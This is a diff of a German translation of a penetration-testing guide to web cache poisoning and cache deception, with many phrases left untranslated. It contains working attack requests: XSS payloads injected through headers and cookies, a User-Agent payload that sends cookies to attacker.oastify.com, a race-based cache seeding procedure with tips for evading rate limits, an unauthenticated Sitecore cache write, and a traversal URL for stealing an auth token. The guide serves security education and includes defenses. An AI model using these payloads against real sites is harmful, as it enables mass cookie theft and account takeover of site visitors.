-Sobald du die **Seite** **identifiziert** hast, die missbraucht werden kann, welchen **Parameter**/**Header** zu verwenden ist und **wie** du ihn **ausnutzen** kannst, musst du die Seite im Cache ablegen. Je nach Ressource, die du in den Cache bringen willst, kann das einige Zeit dauern; du musst eventuell mehrere Sekunden lang versuchen.
+Sobald du die **Seite** identifiziert hast, die missbraucht werden kann, welchen **Parameter**/**Header** du verwenden musst und **wie** du ihn **missbrauchen** kannst, musst du die Seite in den Cache bekommen. Je nach Ressource, die du cachen möchtest, kann das einige Zeit dauern; du musst möglicherweise mehrere Sekunden versuchen.
 
-Der Header **`X-Cache`** in der Response kann sehr nützlich sein, da er den Wert **`miss`** haben kann, wenn die Anfrage nicht gecached wurde, und den Wert **`hit`** wenn sie gecached ist.\
-Der Header **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource gecached wird und wann sie das nächste Mal neu gecached wird: `Cache-Control: public, max-age=1800`
+Der Header **`X-Cache`** im Response kann sehr nützlich sein, da er den Wert **`miss`** haben kann, wenn die Anfrage nicht gecached wurde, und den Wert **`hit`**, wenn sie gecached ist.\
+Der Header **`Cache-Control`** ist ebenfalls interessant, um zu wissen, ob eine Ressource gecached wird und wann die Ressource als Nächstes gecached wird: `Cache-Control: public, max-age=1800`
 
-Ein weiterer interessanter Header ist **`Vary`**. Dieser Header wird oft verwendet, um **zusätzliche Header anzugeben**, die als **Teil des Cache-Schlüssels** behandelt werden, selbst wenn sie normalerweise nicht als Schlüssel verwendet werden. Daher kann, wenn der Angreifer den `User-Agent` des Opfers kennt, er den Cache für Nutzer vergiften, die genau diesen `User-Agent` verwenden.
+Ein weiterer interessanter Header ist **`Vary`**. Dieser Header wird oft verwendet, um **zusätzliche Header anzugeben**, die als **Teil des cache key** behandelt werden, auch wenn sie normalerweise nicht als Key verwendet werden. Daher kann ein Angreifer, der den `User-Agent` des Opfers kennt, den Cache für Nutzer mit genau diesem `User-Agent` poisonen.
 
-Ein weiterer mit dem Cache verwandter Header ist **`Age`**. Er gibt die Zeit in Sekunden an, die das Objekt im Proxy-Cache war.
+Ein weiterer Header im Zusammenhang mit dem Cache ist **`Age`**. Er definiert die Zeit in Sekunden, die das Objekt im Proxy-Cache war.
 
-Beim Cachen einer Anfrage sei **vorsichtig mit den Headern, die du verwendest**, da einige von ihnen **unerwartet als Schlüssel verwendet** werden könnten und das **Opfer denselben Header verwenden muss**. Teste immer eine Cache Poisoning mit **verschiedenen Browsern**, um zu prüfen, ob sie funktioniert.
+Beim Cachen einer Anfrage sei **vorsichtig mit den Headern, die du verwendest**, denn einige von ihnen könnten **unerwartet als keyed verwendet** werden und das **Opfer muss denselben Header** benutzen. Teste eine Cache Poisoning immer mit **verschiedenen Browsern**, um zu prüfen, ob es funktioniert.
 
 ## Exploit-Beispiele
 
 ### Einfachstes Beispiel
 
-Ein Header wie `X-Forwarded-For` wird ungefiltert in der Antwort reflektiert.\
-Du kannst eine einfache XSS-Payload senden und den Cache vergiften, sodass alle, die die Seite aufrufen, XSSed werden:
+Ein Header wie `X-Forwarded-For` wird ungefiltert im Response reflektiert.\
+Du kannst eine einfache XSS-Payload senden und poison the cache, sodass jeder, der die Seite aufruft, eine XSS ausgesetzt wird:
 ```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
 X-Forwarded-Host: a."><script>alert(1)</script>"
 ```
-_Beachte, dass dies eine Anfrage an `/en?region=uk` poisoniert, nicht an `/en`_
+_Beachte, dass dies eine Anfrage an `/en?region=uk` vergiftet, nicht an `/en`_
 
 ### Cache poisoning to DoS
 
@@ -79,23 +79,23 @@ _Beachte, dass dies eine Anfrage an `/en?region=uk` poisoniert, nicht an `/en`_
 cache-poisoning-to-dos.md
 {{#endref}}
 
-### Cache poisoning durch CDNs
+### Cache poisoning through CDNs
 
 In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wird folgendes einfaches Szenario erklärt:
 
 - Das CDN cached alles unter `/share/`
-- Das CDN wird `%2F..%2F` NICHT decodieren oder normalisieren, daher kann es als **path traversal** verwendet werden, um auf andere sensible Orte zuzugreifen, die gecached werden, wie `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- Der Webserver wird `%2F..%2F` DEKODIEREN und normalisieren und antwortet mit `/api/auth/session`, welches den auth token enthält.
+- Das CDN decodiert bzw. normalisiert `%2F..%2F` NICHT, daher kann es als **path traversal** verwendet werden, um auf andere sensible Orte zuzugreifen, die gecached werden, z. B. `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
+- Der Webserver decodiert und normalisiert `%2F..%2F` und antwortet mit `/api/auth/session`, welches **den Auth-Token enthält**.
 
 ### Using web cache poisoning to exploit cookie-handling vulnerabilities
 
-Cookies könnten auch in der Antwort einer Seite reflektiert werden. Wenn du das ausnutzen kannst, um beispielsweise eine XSS zu verursachen, könntest du in der Lage sein, XSS in mehreren Clients auszunutzen, die die bösartige cache response laden.
+Cookies können auch in der Antwort einer Seite reflektiert werden. Wenn du das missbrauchen kannst, um zum Beispiel eine XSS zu verursachen, könntest du XSS in mehreren Clients ausnutzen, die die bösartige Cache-Antwort laden.
 ```html
 GET / HTTP/1.1
 Host: vulnerable.com
 Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
 ```
-Beachte, dass wenn das verwundbare Cookie häufig von den Nutzern verwendet wird, normale Anfragen den Cache bereinigen.
+Beachte, dass wenn das verwundbare Cookie häufig von Nutzern verwendet wird, normale Anfragen den Cache leeren.
 
 ### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
@@ -106,11 +106,11 @@ Siehe:
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### Cache poisoning mit path traversal, um einen API key zu stehlen <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-[**Dieser Writeup erklärt**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), wie es möglich war, einen OpenAI API key mit einer URL wie `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` zu stehlen, weil alles, was `/share/*` entspricht, zwischengespeichert wird, ohne dass Cloudflare die URL normalisiert, was erst durchgeführt wurde, als die Anfrage den Webserver erreichte.
+[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) wie es möglich war, einen OpenAI API key mit einer URL wie `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` zu stehlen, weil alles, was auf `/share/*` passt, gecached wird, ohne dass Cloudflare die URL normalisiert — die Normalisierung fand erst beim Webserver statt.
 
-Das ist auch besser erklärt in:
+Das wird auch besser erklärt in:
 
 
 {{#ref}}
@@ -119,16 +119,16 @@ cache-poisoning-via-url-discrepancies.md
 
 ### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-Manchmal müssen Sie **exploit several unkeyed inputs**, um einen Cache ausnutzen zu können. Zum Beispiel können Sie einen **Open redirect** finden, wenn Sie `X-Forwarded-Host` auf eine von Ihnen kontrollierte Domain setzen und `X-Forwarded-Scheme` auf `http`. **Wenn** der **Server** alle **HTTP**-Anfragen **auf HTTPS** weiterleitet und den Header `X-Forwarded-Scheme` als Domainnamen für die Weiterleitung verwendet, können Sie steuern, wohin die Seite durch die Weiterleitung zeigt.
+Manchmal musst du **mehrere nicht als Cache-Key berücksichtigte Eingaben ausnutzen**, um einen Cache missbräuchlich zu verwenden. Zum Beispiel kannst du ein **Open redirect** finden, wenn du `X-Forwarded-Host` auf eine von dir kontrollierte Domain und `X-Forwarded-Scheme` auf `http` setzt. **Wenn** der **Server** alle **HTTP**-Anfragen **auf HTTPS** weiterleitet und den Header `X-Forwarded-Scheme` als Domainnamen für das Redirect verwendet, kannst du steuern, wohin die Seite durch die Weiterleitung zeigt.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
 X-Forwarded-Scheme: http
 ```
-### Ausnutzen mit eingeschränktem `Vary`header
+### Exploiting mit eingeschränktem `Vary`header
 
-Wenn du feststellst, dass der **`X-Host`** Header als **Domainname zum Laden einer JS-Ressource** verwendet wird, der **`Vary`** Header in der Antwort jedoch **`User-Agent`** angibt. Dann musst du einen Weg finden, den User-Agent des Opfers zu exfiltrieren und den Cache mit diesem User-Agent zu vergiften:
+Wenn du feststellst, dass der **`X-Host`** Header als **domain name to load a JS resource** verwendet wird, der **`Vary`** Header in der Antwort aber **`User-Agent`** angibt, musst du einen Weg finden, den User-Agent des Opfers zu exfiltrieren und den Cache mit diesem User-Agent zu poisonen:
 ```html
 GET / HTTP/1.1
 Host: vulnerbale.net
@@ -137,7 +137,7 @@ X-Host: attacker.com
 ```
 ### Fat Get
 
-Sende eine GET request, bei der die request sowohl in der URL als auch im body steht. Wenn der web server den Wert aus dem body verwendet, der cache server jedoch den aus der URL zwischenspeichert, wird jeder, der diese URL aufruft, tatsächlich den Parameter aus dem body verwenden. Wie die vuln, die James Kettle auf der Github website gefunden hat:
+Sende eine GET-Anfrage, bei der dieselben Parameter sowohl in der URL als auch im Body stehen. Wenn der web server den aus dem Body verwendet, der cache server jedoch den aus der URL cached, wird jeder, der diese URL aufruft, tatsächlich den Parameter aus dem Body verwenden. Wie die vuln, die James Kettle auf der Github-Website gefunden hat:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@@ -146,72 +146,72 @@ Content-Length: 22
 
 report=innocent-victim
 ```
-Dazu gibt es ein PortSwigger-Lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
+There is a PortSwigger-Lab dazu: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
 
 ### Parameter Cloacking
 
-Zum Beispiel ist es möglich, **parameters** in Ruby-Servern mit dem Zeichen **`;`** statt **`&`** zu trennen. Das kann verwendet werden, um unkeyed Parameterwerte in keyed ones zu platzieren und auszunutzen.
+Zum Beispiel ist es möglich, **Parameter** auf ruby-Servern mit dem Zeichen **`;`** statt **`&`** zu trennen. Dies kann verwendet werden, um unbenannte Parameterwerte innerhalb von benannten Parametern zu platzieren und auszunutzen.
 
-Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
+PortSwigger-Lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
 
 ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
 
-Erfahre hier, wie man [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) durchführt.
+Hier erfährst du, wie man [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) durchführt.
 
 ### Automated testing for Web Cache Poisoning
 
-Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch auf Web Cache Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist hochgradig anpassbar.
+Der [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kann verwendet werden, um automatisch auf Web Cache Poisoning zu testen. Er unterstützt viele verschiedene Techniken und ist sehr anpassbar.
 
-Beispiel: `wcvs -u example.com`
+Example usage: `wcvs -u example.com`
 
 ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
 
-Dieses reale Muster verknüpft eine header-basierte Reflection-Primitive mit CDN/WAF-Verhalten, um zuverlässig das gecachte HTML zu poisonen, das an andere Nutzer ausgeliefert wird:
+Dieses reale Muster verkettet eine header-basierte reflection-Primitive mit CDN/WAF-Verhalten, um zuverlässig das zwischengespeicherte HTML zu vergiften, das anderen Nutzern ausgeliefert wird:
 
-- Das Haupt-HTML reflektierte einen untrusted request header (z. B. `User-Agent`) in einen ausführbaren Kontext.
-- Das CDN entfernte cache-Header, aber ein interner/origin Cache existierte. Das CDN cached außerdem automatisch Requests, die auf statische Endungen enden (z. B. `.js`), während der WAF bei GETs für statische Assets eine schwächere Content-Inspektion anwendete.
-- Request-Flow-Quirks erlaubten es, dass ein Request zu einem `.js`-Pfad den Cache-Key/Variant beeinflusste, der für das anschließende Haupt-HTML verwendet wurde, wodurch cross-user XSS via header reflection möglich wurde.
+- Das Haupt-HTML reflektierte einen nicht vertrauenswürdigen Request-Header (z. B. `User-Agent`) in einen ausführbaren Kontext.
+- Das CDN entfernte Cache-Header, aber es existierte ein interner/origin Cache. Das CDN cached außerdem automatisch Requests mit statischen Endungen (z. B. `.js`), während der WAF bei GETs für statische Assets eine schwächere Inhaltsprüfung anwendete.
+- Eigenheiten im Request-Fluss ermöglichten es, dass eine Anfrage an einen `.js`-Pfad den Cache-Key/-Variante beeinflusste, der für das anschließende Haupt-HTML verwendet wurde, wodurch Cross-User XSS via Header-Reflection möglich wurde.
 
-Praktische Vorgehensweise (beobachtet bei einem populären CDN/WAF):
+Praktische Anleitung (beobachtet bei einem weitverbreiteten CDN/WAF):
 
-1) Von einer clean IP (Vermeide vorherige reputation-based downgrades), setze einen bösartigen `User-Agent` über den Browser oder Burp Proxy Match & Replace.  
-2) In Burp Repeater, bereite eine Gruppe von zwei Requests vor und nutze "Send group in parallel" (single-packet mode funktioniert am besten):
-- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
-- Immediately after: GET the main page (`/`).
-3) Das CDN/WAF Routing-Rennen plus das auto-cached `.js` seedet häufig eine poisoned gecachte HTML-Variante, die dann an andere Besucher ausgeliefert wird, die dieselben Cache-Key-Bedingungen teilen (z. B. gleiche `Vary`-Dimensionen wie `User-Agent`).
+1) Von einer sauberen IP (vermeide vorherige reputationsbasierte Abwertungen) setze einen bösartigen `User-Agent` über den Browser oder Burp Proxy Match & Replace.  
+2) In Burp Repeater bereite eine Gruppe von zwei Requests vor und nutze "Send group in parallel" (Single-Packet-Modus funktioniert am besten):  
+- Erste Anfrage: GET auf eine `.js`-Ressource auf derselben Origin, während du deinen bösartigen `User-Agent` sendest.  
+- Unmittelbar danach: GET die Hauptseite (`/`).  
+3) Das Routing-Rennen des CDN/WAF zusammen mit dem automatisch gecachten `.js` führt oft dazu, dass eine vergiftete gecachte HTML-Variante erzeugt wird, die dann anderen Besuchern serviert wird, die dieselben Cache-Key-Bedingungen teilen (z. B. gleiche `Vary`-Dimensionen wie `User-Agent`).
 
-Beispiel Header-Payload (um non-HttpOnly cookies zu exfiltrieren):
+Beispiel Header-Payload (zum Exfiltrieren von non-HttpOnly-Cookies):
 ```
 User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
 ```
 Operational tips:
 
-- Viele CDNs verbergen Cache-Header; poisoning kann sich nur in mehrstündigen Refresh-Zyklen zeigen. Verwende mehrere unterschiedliche Ausgangs-IP-Adressen und drossele, um Rate-Limit- oder Reputations-Trigger zu vermeiden.
+- Viele CDNs verschleiern Cache-Header; poisoning kann sich möglicherweise erst in mehrstündigen Refresh-Zyklen zeigen. Verwende mehrere vantage IPs und throttle, um Rate-Limits oder Reputation-Trigger zu vermeiden.
 - Die Verwendung einer IP aus der Cloud des CDN verbessert manchmal die Routing-Konsistenz.
-- Wenn eine strikte CSP vorhanden ist, funktioniert das weiterhin, sofern die reflection im Haupt-HTML-Kontext ausgeführt wird und die CSP inline-Ausführung erlaubt oder durch den Kontext umgangen wird.
+- Wenn eine strikte CSP vorhanden ist, funktioniert das trotzdem, sofern die reflection im main HTML context ausgeführt wird und CSP inline execution erlaubt oder durch den Kontext umgangen wird.
 
 Impact:
 
-- Wenn Session-Cookies nicht `HttpOnly` gesetzt sind, ist ein Zero-Click ATO möglich, indem `document.cookie` massenhaft von allen Nutzern exfiltriert wird, die das poisoned HTML erhalten.
+- Wenn Session-Cookies nicht `HttpOnly` sind, ist ein zero-click ATO möglich, indem `document.cookie` massenhaft exfiltriert wird von allen Nutzern, die das poisoned HTML erhalten.
 
 Defenses:
 
-- Stoppe das Reflektieren von Request-Headern in HTML; kontextkodieren (strictly context-encode), wenn unvermeidbar. Stimme CDN- und Origin-Cache-Policies aufeinander ab und vermeide Varying auf nicht vertrauenswürdigen Headern.
-- Stelle sicher, dass der WAF Inhaltsinspektion konsistent auf `.js`-Requests und statische Pfade anwendet.
+- Reflektiere keine request headers ins HTML; falls unvermeidbar, strikt context-encode. Stimme CDN- und origin cache policies ab und vermeide Varying auf untrusted headers.
+- Stelle sicher, dass WAF Content-Inspection konsistent auf `.js` requests und statische Pfade anwendet.
 - Setze `HttpOnly` (und `Secure`, `SameSite`) auf Session-Cookies.
 
 ### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
 
-A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
+Ein Sitecore‑spezifisches Muster ermöglicht nicht authentifizierte Schreibvorgänge in den HtmlCache, indem pre‑auth XAML handlers und AjaxScriptManager reflection missbraucht werden. Wenn der `Sitecore.Shell.Xaml.WebControl`-Handler erreicht wird, steht ein `xmlcontrol:GlobalHeader` (abgeleitet von `Sitecore.Web.UI.WebControl`) zur Verfügung und der folgende reflective call ist erlaubt:
 ```
 POST /-/xaml/Sitecore.Shell.Xaml.WebControl
 Content-Type: application/x-www-form-urlencoded
 
 __PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
 ```
-Dies schreibt beliebiges HTML unter einem vom Angreifer gewählten cache key und ermöglicht präzises poisoning, sobald die cache keys bekannt sind.
+This schreibt beliebiges HTML unter einem vom Angreifer gewählten cache key und ermöglicht präzises Poisoning, sobald die cache keys bekannt sind.
 
-Für vollständige Details (cache key construction, ItemService enumeration und eine verkettete post‑auth deserialization RCE):
+For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/sitecore/README.md
@@ -221,45 +221,45 @@ Für vollständige Details (cache key construction, ItemService enumeration und
 
 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
 
-ATS leitete das Fragment in der URL weiter, ohne es zu entfernen, und erzeugte den cache key nur aus host, path und query (ignorierte das Fragment). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das backend als `/#/../?r=javascript:alert(1)` weitergeleitet und der cache key enthielt die Payload nicht, nur host, path und query.
+ATS hat das Fragment in der URL weitergeleitet, ohne es zu entfernen, und den cache key nur unter Verwendung von host, path und query erzeugt (das Fragment wurde also ignoriert). Daher wurde die Anfrage `/#/../?r=javascript:alert(1)` an das backend als `/#/../?r=javascript:alert(1)` gesendet und der cache key enthielt die Nutzlast nicht, sondern nur host, path und query.
 
 ### GitHub CP-DoS
 
-Das Senden eines ungültigen Wertes im content-type header löste eine gecachte 405-Antwort aus. Der cache key enthielt das cookie, daher war ein Angriff nur gegen unauth users möglich.
+Das Senden eines ungültigen Werts im content-type Header löste eine gecachte 405-Antwort aus. Der cache key enthielt das cookie, sodass ein Angriff nur gegen nicht authentifizierte Benutzer möglich war.
 
 ### GitLab + GCP CP-DoS
 
-GitLab nutzt GCP buckets zum Speichern statischer Inhalte. **GCP Buckets** unterstützen den **Header `x-http-method-override`**. Es war also möglich, den Header `x-http-method-override: HEAD` zu senden und den Cache so zu vergiften, dass eine leere response body zurückgegeben wurde. Es könnte auch die Methode `PURGE` unterstützen.
+GitLab verwendet GCP buckets zur Speicherung statischer Inhalte. **GCP Buckets** unterstützen den **Header `x-http-method-override`**. Daher war es möglich, den Header `x-http-method-override: HEAD` zu senden und den Cache so zu vergiften, dass ein leerer Response-Body zurückgegeben wurde. Es wurde auch Unterstützung für die Methode `PURGE` festgestellt.
 
 ### Rack Middleware (Ruby on Rails)
 
-In Ruby on Rails Anwendungen wird häufig Rack middleware verwendet. Zweck des Rack-Codes ist es, den Wert des **`x-forwarded-scheme`** Headers zu nehmen und als scheme der Anfrage zu setzen. Wenn der Header `x-forwarded-scheme: http` gesendet wird, erfolgt ein 301 redirect zur gleichen Location, was potentiell einen Denial of Service (DoS) für diese Ressource verursachen kann. Zusätzlich könnte die Anwendung den `X-forwarded-host` Header anerkennen und Benutzer zum angegebenen Host weiterleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
+In Ruby on Rails-Anwendungen wird häufig Rack Middleware verwendet. Zweck des Rack-Codes ist es, den Wert des **`x-forwarded-scheme`** Headers zu übernehmen und als scheme der Anfrage zu setzen. Wenn der Header `x-forwarded-scheme: http` gesendet wird, erfolgt ein 301-Redirect zur gleichen Location, was potenziell einen Denial of Service (DoS) gegen diese Ressource verursachen kann. Zusätzlich könnte die Anwendung den `X-forwarded-host` Header beachten und Benutzer auf den angegebenen Host umleiten. Dieses Verhalten kann dazu führen, dass JavaScript-Dateien von einem Server des Angreifers geladen werden, was ein Sicherheitsrisiko darstellt.
 
-### 403 and Storage Buckets
+### 403 und Storage Buckets
 
-Cloudflare hat früher 403-Antworten gecacht. Der Versuch, S3 oder Azure Storage Blobs mit falschen Authorization-Headern zuzugreifen, führte zu einer 403-Antwort, die gecacht wurde. Obwohl Cloudflare aufgehört hat, 403-Antworten zu cachen, kann dieses Verhalten in anderen Proxy-Diensten noch vorhanden sein.
+Cloudflare hat früher 403-Antworten gecached. Der Versuch, auf S3 oder Azure Storage Blobs mit falschen Authorization-Headern zuzugreifen, führte zu einer 403-Antwort, die zwischengespeichert wurde. Obwohl Cloudflare das Cachen von 403-Antworten eingestellt hat, kann dieses Verhalten in anderen Proxy-Services weiterhin vorkommen.
 
-### Injecting Keyed Parameters
+### Injizieren von keyed Parameters
 
-Caches schließen oft bestimmte GET-Parameter in den cache key ein. Beispielsweise hat Fastly's Varnish den `size`-Parameter in Requests gecacht. Wenn jedoch eine URL-codierte Version des Parameters (z. B. `siz%65`) mit einem fehlerhaften Wert gesendet wurde, wurde der cache key unter Verwendung des korrekten `size`-Parameters konstruiert. Das Backend verarbeitete jedoch den Wert im URL-codierten Parameter. Die URL-Codierung des zweiten `size`-Parameters führte dazu, dass er vom Cache weggelassen, aber vom Backend verwendet wurde. Einen Wert von 0 für diesen Parameter zuzuweisen führte zu einem cachebaren 400 Bad Request-Fehler.
+Caches schließen oft bestimmte GET-Parameter in den cache key ein. Beispielsweise hat Fastly's Varnish den `size`-Parameter in Requests gecached. Wenn jedoch eine URL-encoded Version des Parameters (z. B. `siz%65`) mit einem falschen Wert gesendet wurde, wurde der cache key mit dem korrekten `size`-Parameter konstruiert. Das Backend verarbeitete jedoch den Wert im URL-encodierten Parameter. Das URL-encoden des zweiten `size`-Parameters führte dazu, dass er vom Cache ignoriert, aber vom Backend verwendet wurde. Dem Parameter den Wert 0 zuzuweisen führte zu einem cachebaren 400 Bad Request Fehler.
 
-### User Agent Rules
+### User Agent Regeln
 
-Einige Entwickler blockieren Requests mit user-agents, die zu stark frequentierten Tools wie FFUF oder Nuclei gehören, um die Serverlast zu steuern. Ironischerweise kann dieser Ansatz Schwachstellen wie cache poisoning und DoS einführen.
+Einige Entwickler blockieren Anfragen mit User-Agents, die denen von stark frequentierten Tools wie FFUF oder Nuclei entsprechen, um die Serverlast zu steuern. Ironischerweise kann dieser Ansatz Schwachstellen wie cache poisoning und DoS einführen.
 
-### Illegal Header Fields
+### Illegale Header-Felder
 
-Der [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die zulässigen Zeichen in Header-Namen. Header, die Zeichen außerhalb des spezifizierten **tchar**-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler cached, solange der `cache-control`-Header nicht vorhanden ist. Ein ausnutzbares Muster wurde identifiziert, bei dem das Senden eines Headers mit einem illegalen Zeichen, wie `\`, zu einem cachebaren 400 Bad Request-Fehler führte.
+Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spezifiziert die zulässigen Zeichen in Header-Namen. Header, die Zeichen außerhalb des angegebenen **tchar**-Bereichs enthalten, sollten idealerweise eine 400 Bad Request-Antwort auslösen. In der Praxis halten sich Server nicht immer an diesen Standard. Ein bemerkenswertes Beispiel ist Akamai, das Header mit ungültigen Zeichen weiterleitet und jeden 400-Fehler cached, solange der `cache-control` Header nicht vorhanden ist. Ein ausnutzbares Muster wurde identifiziert, bei dem das Senden eines Headers mit einem illegalen Zeichen, wie `\`, zu einem cachebaren 400 Bad Request Fehler führte.
 
-### Finding new headers
+### Neue Header finden
 
 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
 
 ## Cache Deception
 
-The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
+Das Ziel von Cache Deception ist es, Clients dazu zu bringen, Ressourcen zu laden, die vom Cache zusammen mit ihren sensitiven Informationen gespeichert werden.
 
-Zunächst ist zu beachten, dass **extensions** wie `.css`, `.js`, `.png` usw. normalerweise so **konfiguriert** sind, dass sie im **cache** **gespeichert** werden. Daher wird die Antwort wahrscheinlich gespeichert, wenn Sie `www.example.com/profile.php/nonexistent.js` aufrufen, weil die `.js` **extension** erkannt wird. Wenn die **application** jedoch mit den **sensitive** Benutzerinhalten von _www.example.com/profile.php_ antwortet, können Sie diese Inhalte von anderen Benutzern **stehlen**.
+Beachte zuerst, dass **Extensions** wie `.css`, `.js`, `.png` usw. normalerweise so **konfiguriert** sind, dass sie im **cache** **gespeichert** werden. Wenn du also `www.example.com/profile.php/nonexistent.js` aufrufst, wird die Antwort wahrscheinlich vom Cache gespeichert, weil die `.js` **extension** erkannt wird. Wenn jedoch die **application** mit den **sensitiven** Benutzerdaten aus _www.example.com/profile.php_ antwortet, kannst du diese Inhalte von anderen Benutzern **stehlen**.
 
 Weitere Dinge zum Testen:
 
@@ -268,19 +268,19 @@ Weitere Dinge zum Testen:
 - _www.example.com/profile.php/test.js_
 - _www.example.com/profile.php/../test.js_
 - _www.example.com/profile.php/%2e%2e/test.js_
-- _Use lesser known extensions such as_ `.avif`
+- _Verwende weniger bekannte Extensions wie_ `.avif`
 
 Ein weiteres sehr klares Beispiel findet sich in diesem Write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-Im Beispiel wird erklärt, dass, wenn Sie eine nicht existierende Seite wie _http://www.example.com/home.php/non-existent.css_ laden, der Inhalt von _http://www.example.com/home.php_ (**mit den vertraulichen Informationen des Benutzers**) zurückgegeben wird und der cache server das Ergebnis speichern wird.\
-Dann kann der **attacker** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **confidential information** der Benutzer sehen, die zuvor zugegriffen haben.
+Darin wird erklärt, dass wenn du eine nicht existierende Seite wie _http://www.example.com/home.php/non-existent.css_ aufrufst, der Inhalt von _http://www.example.com/home.php_ (**mit den sensitiven Informationen des Benutzers**) zurückgegeben und vom Cache-Server gespeichert wird.\
+Anschließend kann der **Angreifer** _http://www.example.com/home.php/non-existent.css_ in seinem eigenen Browser aufrufen und die **vertraulichen Informationen** der Benutzer einsehen, die zuvor zugegriffen haben.
 
-Beachte, dass der **cache proxy** so **konfiguriert** sein sollte, Dateien **basierend** auf der **extension** der Datei (_.css_) zu **cachen** und nicht auf dem content-type. Im Beispiel wird _http://www.example.com/home.php/non-existent.css_ einen `text/html` content-type statt eines `text/css` mime type haben.
+Beachte, dass der **cache proxy** so **konfiguriert** sein sollte, Dateien **basierend** auf der **extension** der Datei (_.css_) zu **cachen** und nicht basierend auf dem content-type. Im Beispiel hat _http://www.example.com/home.php/non-existent.css_ einen `text/html` content-type anstelle eines `text/css` mime type.
 
-Weitere Informationen dazu, wie man [ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception) durchführt.
